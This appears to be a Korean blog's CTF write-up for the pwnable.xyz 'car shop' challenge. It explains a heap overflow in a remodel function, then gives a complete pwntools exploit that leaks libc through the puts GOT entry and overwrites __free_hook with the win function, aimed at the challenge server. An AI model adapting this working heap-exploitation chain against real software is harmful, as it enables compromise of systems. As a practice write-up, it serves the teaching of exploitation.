[pwnable.xyz] car shop write up
Analytic
`Full RELRO` 이기 때문에 GOT overwrite를 할 수 없다.
`buy()` 함수를 보면 사용자가 선택한 자동차가 메모리 공간에 저장된다.
이때의 메모리 구조를 보면 아래와 같다.
`0x603260` ~ `0x6032af`: 사용자가 `buy()` 함수를 호출하면 `car`라는 구조체의 chunk가 만들어짐
- `0x603260`: 자동차 이름을 저장한 주소
- `0x603268`: 자동차 이름의 크기
- `0x603270`: 다음 청크(`car`)의 주소
- `0x603278`: 이전 청크(`car`)의 주소
- `0x603290`: 자동차의 이름
gdb-peda$ x/10gx 0x603260
0x603260: 0x0000000000603290 0x0000000000000003
0x603270: 0x0000000000000000 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000021
0x603290: 0x0000000000574d42 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000031
`buy()` 함수를 한번 더 호출하면 각 청크는 `double linked list` 형태를 띄게 된다.
아래 메모리를 보면 `0x603270`은 `0x6032b0`을 저장하고 있고, `0x6032c8`은 `0x603260`을 저장하고 있다.
gdb-peda$ x/20gx 0x603260
0x603260: 0x0000000000603290 0x0000000000000003
0x603270: 0x00000000006032b0 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000021
0x603290: 0x0000000000574d42 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000031
0x6032b0: 0x00000000006032e0 0x0000000000000005
0x6032c0: 0x0000000000000000 0x0000000000603260
0x6032d0: 0x0000000000000000 0x0000000000000021
0x6032e0: 0x000000737578654c 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000031
다른 함수들은 딱히 특별한 건 없다.
`remodel()` 함수를 보면 사용자가 구매한 자동차의 이름을 변경할 수 있는데, snprintf() 함수로 이름을 변경하고 이때의 return 값을 `car` 구조체의 `car+8`에 저장한다.
여기서 문제가 발생하는데, 기존의 자동차 이름의 길이를 확인하지 않고 사용자가 적은 값을 그대로 변경한다.
바로 `heap overflow`가 발생한다.
위에서 `buy()` 함수를 2번 호출 했을때의 메모리 구조인데, 만약 remodel()함수를 호출하여 "BMW"를 overflow 시켜 `0x6032b0` 주소의 값을 변조하면 원하는 곳에 overwrite가 가능하다.
gdb-peda$ x/20gx 0x603260
0x603260: 0x0000000000603290 0x0000000000000003
0x603270: 0x00000000006032b0 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000021
0x603290: 0x0000000000574d42 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000031
0x6032b0: 0x00000000006032e0 0x0000000000000005
0x6032c0: 0x0000000000000000 0x0000000000603260
0x6032d0: 0x0000000000000000 0x0000000000000021
0x6032e0: 0x000000737578654c 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000031
문제는 `Full RELRO` 가 적용되어 있어 GOT는 Overwrite 할 수 없다.
이를 우회 할 수 있는 방법은 `__free_hook` 을 overwrite 하는 것이다.
자세히는 찾아보지 않았지만 `free()` 함수를 호출할때 `__free_hook` 도 호출하게 되는데, 이 주소를 overwrite 하는 것이다.
우선 `__free_hook`의 주소를 알기 위해 `libc_base` 주소를 알아야 한다.
- `buy()` 함수를 2번 호출해 `car` 구조체를 2개 만들고
- `remodel()` 함수를 호출하고, Overwrite 하기 위해 BMW 를 A*0x40 으로 바꾼다.
- 자동차 이름의 크기는 0x40으로 바뀌었으므로 다시 `remodel()` 함수를 호출해서 `"A"*0x20 + p64(e.got["puts"])` 로 overwrite 한다.
- `List()`로 `puts()` 함수의 GOT를 알아내고 `libc_base` 와 `__free_hook`을 알아낸다.
from pwn import *
p = remote("svc.pwnable.xyz" ,"30037")
e = ELF("./challenge", checksec=False)
l = ELF("./alpine-libc-2.23.so", checksec=False)
def buy(num):
p.sendlineafter("> ", "1")
p.sendlineafter("> ", str(num))
def remodel(name, payload):
p.sendlineafter("> ", "3")
p.sendlineafter("remodel: ", name)
p.sendlineafter("model: ", payload)
def List():
p.sendlineafter("> ", "4")
def get_libc_base():
p.recvuntil("\x0a")
p.recvuntil("\x0a")
puts_got = u64(p.recv(12)[6:].ljust(8, "\x00"))
print("puts_got: {}".format(hex(puts_got)))
libc_base = puts_got - l.symbols["puts"]
return libc_base
buy(0)
buy(1)
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(e.got["puts"]))
List()
libc_base = get_libc_base()
__free_hook = libc_base + l.symbols["__free_hook"]
p.interactive()
`libc_base`와 `__free_hook` 주소를 알아냈으므로, `_free_hook`을 overwrite 하기 위해 아래 코드를 추가적으로 작성해준다.
remodel("A"*0x20 + p64(e.got["puts"]), "BMW")
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(__free_hook))
remodel(p64(0), p64(e.symbols["win"]))
Payload
from pwn import *
p = remote("svc.pwnable.xyz" ,"30037")
e = ELF("./challenge", checksec=False)
l = ELF("./alpine-libc-2.23.so", checksec=False)
def buy(num):
p.sendlineafter("> ", "1")
p.sendlineafter("> ", str(num))
def remodel(name, payload):
p.sendlineafter("> ", "3")
p.sendlineafter("remodel: ", name)
p.sendlineafter("model: ", payload)
def List():
p.sendlineafter("> ", "4")
def get_libc_base():
p.recvuntil("\x0a")
p.recvuntil("\x0a")
puts_got = u64(p.recv(12)[6:].ljust(8, "\x00"))
print("puts_got: {}".format(hex(puts_got)))
libc_base = puts_got - l.symbols["puts"]
return libc_base
buy(0)
buy(1)
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(e.got["puts"]))
List()
libc_base = get_libc_base()
__free_hook = libc_base + l.symbols["__free_hook"]
print("libc_base: {}".format(hex(libc_base)))
print("__free_hook: {}".format(hex(__free_hook)))
remodel("A"*0x20 + p64(e.got["puts"]), "BMW")
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(__free_hook))
remodel(p64(0), p64(e.symbols["win"]))
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] door write up (0) | 2020.08.10 |
---|---|
[pwnable.xyz] child write up (0) | 2020.08.09 |
[pwnable.xyz] words write up (0) | 2020.08.08 |
[pwnable.xyz] notebook write up (0) | 2020.08.07 |
[pwnable.xyz] nin write up (0) | 2020.08.07 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] door write up
[pwnable.xyz] door write up
2020.08.10 -
[pwnable.xyz] child write up
[pwnable.xyz] child write up
2020.08.09 -
[pwnable.xyz] words write up
[pwnable.xyz] words write up
2020.08.08 -
[pwnable.xyz] notebook write up
[pwnable.xyz] notebook write up
2020.08.07